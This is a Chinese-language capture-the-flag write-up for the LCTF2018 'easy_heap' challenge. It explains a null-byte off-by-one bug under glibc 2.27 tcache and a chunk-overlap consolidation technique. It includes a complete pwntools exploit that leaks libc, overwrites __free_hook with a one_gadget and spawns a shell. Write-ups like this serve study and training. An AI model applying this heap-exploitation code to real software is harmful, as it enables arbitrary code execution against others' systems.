https://github.com/LCTF/LCTF2018/tree/master/Writeup/easy_heap
參考
https://www.360zhijia.com/anquan/443460.html(推薦資料,還仔細分析了tcache的特性和總結)
在malloc的時候存在null-by-one漏洞,由于分配的堆塊的大小都是0x100(加堆頭),所以null-by-one漏洞只會覆蓋下個堆塊的prev_inuse標志位為0。一般的利用思路是通過偽造prev_size的大小來構造overlap-chunk為所欲為,但是這種思路在這道題目里行不通,因為malloc在讀取內(nèi)容的時候‘\0’會截斷而且堆塊大小是0x100。 由于題目給的庫是libc2.27,引入了tcache機制,tcache在分配完其中的7個堆塊后如果再次分配,它會先從unsortedbin中把和要分配的堆塊大小相同的堆塊全部以單鏈表形式鏈入tcache的鏈表里然后再分配出來,如果unsortedbin中有三個及以上符合大小的堆塊,當并入tcache時,你會發(fā)現(xiàn)中間的堆塊其fd->bk以及bk->fd仍然指向它自身,利用點就是在這里,題目中恰好設置了堆塊為0x100對齊,所以分配出來的堆塊內(nèi)容如果什么都不輸那么它的“\0”終止符不會影響fd指針,在將中間的堆塊重新malloc出來利用nullbyone漏洞修改下個堆塊的previnuse位為0,然后填滿tcache后free掉下個堆塊,那么他就會和前面的堆塊合并形成overlap-chunk,接下來泄漏libc地址,修改malloc_hook為one_gadget就能getshell了。
- 在沒有辦法手動寫入 prev_size ,但又必須使用 prev_size 才可以進行利用的情況下,考慮使用系統(tǒng)寫入的 prev_size 。
方法為:在 unsorted bin 合并時會寫入 prev_size,而該 prev_size 不會被輕易覆蓋(除非有新的 prev_size 需要寫入),所以可以利用該 prev_size 進行利用。
具體過程:
- 將 A -> B -> C 三塊 unsorted bin chunk 依次進行釋放
- A 和 B 合并,此時 C 前的 prev_size 寫入為 0x200
- A 、 B 、 C 合并,步驟 2 中寫入的 0x200 依然保持
- 利用 unsorted bin 切分,分配出 A
- 利用 unsorted bin 切分,分配出 B,注意此時不要覆蓋到之前的 0x200
- 將 A 再次釋放為 unsorted bin 的堆塊,使得 fd 和 bk 為有效鏈表指針
- 此時 C 前的 prev_size 依然為 0x200(未使用到的值),A B C 的情況: A (free) -> B (allocated) -> C (free),如果使得 B 進行溢出,則可以將已分配的 B 塊包含在合并后的釋放狀態(tài) unsorted bin 塊中。
但是在這個過程中需要注意 tcache 的影響。
隔塊攻擊
現(xiàn)隔塊合并攻擊的思路就是:
1.制造三個chunk全都free合并入unsorted bin:這時chunk3的presize為2*chunk
2.再把它們分配出來
3.chunk1給free進unsorted bin:①隔塊合并它的時候能天然繞過bk、fd那個檢查 ②chunk2的presize為1*chunk
4.chunk2先free進tcache,再分配到它off by one:①代碼邏輯決定只能在分配的時候寫那么一次而沒有單獨的編輯函數(shù) ②進tcache要先new出一個騰地方,不能進unsorted bin是為了防止和chunk1合并破壞之前的鋪墊
5.free掉chunk3即可隔塊合并到chunk1:chunk3的presize是2chunk找到chunk1了,chunk1做size檢查找到chunk2的presize是1chunk繞過成功,fd、bk那個檢查也是天然過的
EXP
from pwn import *
p = process("./easy_heap")
context.log_level = "DEBUG"
def _free(index):
p.sendlineafter(">", "2")
p.sendlineafter(">", str(index))
def _malloc(size, content):
p.sendlineafter(">", "1")
p.sendlineafter(">", str(size))
p.sendlineafter(">", content)
def _puts(index):
p.sendlineafter(">", "3")
p.sendlineafter(">", str(index))
def fill_tcache(start, end, step = 1):
for i in range(start, end, step):
_free(i)
def remove_tcache(num):
for i in range(0, num):
_malloc(2, "a")
# Initialize
for i in range(0, 10):
_malloc(0x2, "a")
# fill the TCache to put chunk to unsorted bins
fill_tcache(3, 10)
# Chunk1 and chunk2 will merged, so chunk3's prev_size = 0x200
# Now, we can use off by one to overlap chunks
_free(0)
_free(1)
_free(2)
# Apply again to split unsorted bin
# The array will be filled from 0 ~ 6
remove_tcache(7)
# Split unsorted bin now, we can get 0x200 in prev_size of chunk9
_malloc(0x2, "7") # chunk7
_malloc(0x2, "8") # chunk8
# If we continue use free, they will be put to unsorted bin
# and the prev_size byte will be erased
# therefore, we apply tacache to store them
# We also need to switch there location in list
# Otherwise we cannot erase the prev_inuse byte
_malloc(0x2, "9")
_free(8)
fill_tcache(0, 6)
_free(7)
# off by one
remove_tcache(6)
_malloc(0xf8, "8")
# Again, we need to full filled our TCache to use unsorted bin
fill_tcache(0, 7)
# Trigger Overlap
_free(9)
remove_tcache(7)
_malloc(0x1, "a")
# Leak main_arena
_puts(7)
main_arena = p.recvline()[1:-1]
base = u64(main_arena + '\x00' * 2) - 0x3ebca0
print "base_addr: " + hex(base)
one_gadget = base + 0x4f322
free_hook = base + 0x3ed8e8
print "free_hook:" + hex(free_hook)
# TCache Arbitrary Write
_malloc(2, "0x9")
_free(7)
_free(9)
_malloc(0x10, p64(free_hook))
# Merege chunks to extra write
fill_tcache(0, 7)
remove_tcache(7)
_malloc(0x10, p64(one_gadget))
_free(0)
p.interactive()
特性補充
1.preinuse位何時置零:僅在前塊link入unsorted bin過程中置零
2.size字段何時設置:僅在①alloc過程中設置 ②合并過程中合并后link入unsorted bin前設置
*3.presize字段何時設置:僅在前塊link入unsorted bin過程中設置
4.單獨的unlink動作不對后塊preinuse位置1
5.堆塊合并過程:先unlink前塊,再合并,再link入unsorted bin
6.堆塊合并過程中,指針變化和合并后的size計算是以用戶free的那個塊為中心,而前面提到的size==next.presize檢查則是以被合并的前塊為中心:堆塊指針在合并后直接用presize值前推偏移,新size也是用戶free塊的size直接加上presize,而新增檢查則是以前塊為中心的